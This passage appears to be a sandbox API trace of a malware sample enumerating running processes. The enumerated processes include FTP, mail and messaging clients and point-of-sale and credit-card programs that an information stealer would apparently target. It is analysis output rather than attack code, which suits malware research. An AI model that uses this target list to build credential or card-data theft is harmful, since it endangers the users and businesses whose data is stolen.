cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.547] lstrlenW (lpString="audiodg.exe") returned 11 [0049.547] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.548] lstrlenW (lpString="svchost.exe") returned 11 [0049.548] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.549] lstrlenW (lpString="svchost.exe") returned 11 [0049.549] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.550] lstrlenW (lpString="dwm.exe") returned 7 [0049.550] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.551] lstrlenW (lpString="explorer.exe") returned 12 [0049.551] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.552] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.552] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.553] lstrlenW (lpString="taskhost.exe") returned 12 [0049.553] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.554] lstrlenW (lpString="svchost.exe") returned 11 [0049.554] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.555] lstrlenW (lpString="taskeng.exe") returned 11 [0049.555] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.556] lstrlenW (lpString="taskhost.exe") returned 12 [0049.556] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.557] lstrlenW (lpString="svchost.exe") returned 11 [0049.557] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0049.558] lstrlenW (lpString="sppsvc.exe") returned 10 [0049.558] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.559] lstrlenW (lpString="svchost.exe") returned 11 [0049.559] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0049.561] lstrlenW (lpString="barrelsince.exe") returned 15 [0049.561] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0049.562] lstrlenW (lpString="cricket.exe") returned 11 [0049.562] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0049.563] lstrlenW (lpString="angelsalot.exe") returned 14 [0049.563] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0049.564] lstrlenW (lpString="bridge.exe") returned 10 [0049.564] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0049.565] lstrlenW (lpString="sh_shipping.exe") returned 15 [0049.565] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0049.566] lstrlenW (lpString="tobacco packet.exe") returned 18 [0049.566] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0049.567] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0049.567] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0049.568] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0049.568] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0049.569] lstrlenW (lpString="widespread.exe") returned 14 [0049.569] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0049.570] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0049.570] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0049.571] lstrlenW (lpString="zinc.exe") returned 8 [0049.571] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0049.572] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0049.572] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0049.573] lstrlenW (lpString="construction_rice.exe") returned 21 [0049.573] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0049.574] lstrlenW (lpString="mask.exe") returned 8 [0049.574] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0049.575] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0049.575] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0049.576] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0049.576] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0049.577] lstrlenW (lpString="curve standing.exe") returned 18 [0049.577] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0049.578] lstrlenW (lpString="3dftp.exe") returned 9 [0049.578] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0049.579] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0049.579] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0049.580] lstrlenW (lpString="alftp.exe") returned 9 [0049.580] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0049.963] lstrlenW (lpString="barca.exe") returned 9 [0049.963] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0049.964] lstrlenW (lpString="bitkinex.exe") returned 12 [0049.964] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0049.965] lstrlenW (lpString="coreftp.exe") returned 11 [0049.965] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0049.968] lstrlenW (lpString="far.exe") returned 7 [0049.968] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0049.969] lstrlenW (lpString="filezilla.exe") returned 13 [0049.969] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0049.970] lstrlenW (lpString="flashfxp.exe") returned 12 [0049.970] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0049.971] lstrlenW (lpString="fling.exe") returned 9 [0049.971] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0049.972] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0049.972] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0049.973] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0049.973] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0049.974] lstrlenW (lpString="icq.exe") returned 7 [0049.974] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0049.975] lstrlenW (lpString="leechftp.exe") returned 12 [0049.976] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0049.977] lstrlenW (lpString="ncftp.exe") returned 9 [0049.977] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0049.978] lstrlenW (lpString="notepad.exe") returned 11 [0049.978] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0049.980] lstrlenW (lpString="operamail.exe") returned 13 [0049.980] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0049.981] lstrlenW (lpString="pidgin.exe") returned 10 [0049.981] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0049.983] lstrlenW (lpString="scriptftp.exe") returned 13 [0049.983] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0049.984] lstrlenW (lpString="skype.exe") returned 9 [0049.984] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0049.986] lstrlenW (lpString="smartftp.exe") returned 12 [0049.986] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0049.987] lstrlenW (lpString="thunderbird.exe") returned 15 [0049.987] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0049.988] lstrlenW (lpString="totalcmd.exe") returned 12 [0049.988] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0049.990] lstrlenW (lpString="trillian.exe") returned 12 [0049.990] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0049.991] lstrlenW (lpString="webdrive.exe") returned 12 [0049.991] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0049.993] lstrlenW (lpString="whatsapp.exe") returned 12 [0049.993] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0049.994] lstrlenW (lpString="winscp.exe") returned 10 [0049.994] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0049.995] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0049.995] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0050.434] lstrlenW (lpString="active-charge.exe") returned 17 [0050.434] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0050.435] lstrlenW (lpString="accupos.exe") returned 11 [0050.435] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0050.436] lstrlenW (lpString="afr38.exe") returned 9 [0050.437] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0050.438] lstrlenW (lpString="aldelo.exe") returned 10 [0050.438] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0050.439] lstrlenW (lpString="ccv_server.exe") returned 14 [0050.439] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0050.440] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0050.440] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0050.441] lstrlenW (lpString="creditservice.exe") returned 17 [0050.441] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0050.443] lstrlenW (lpString="edcsvr.exe") returned 10 [0050.443] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0050.444] lstrlenW (lpString="fpos.exe") returned 8 [0050.444] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0050.445] lstrlenW (lpString="isspos.exe") returned 10 [0050.445] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0050.446] lstrlenW (lpString="mxslipstream.exe") returned 16 [0050.446] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0050.447] lstrlenW (lpString="omnipos.exe") returned 11 [0050.447] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0050.449] lstrlenW (lpString="spcwin.exe") returned 10 [0050.449] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0050.450] lstrlenW 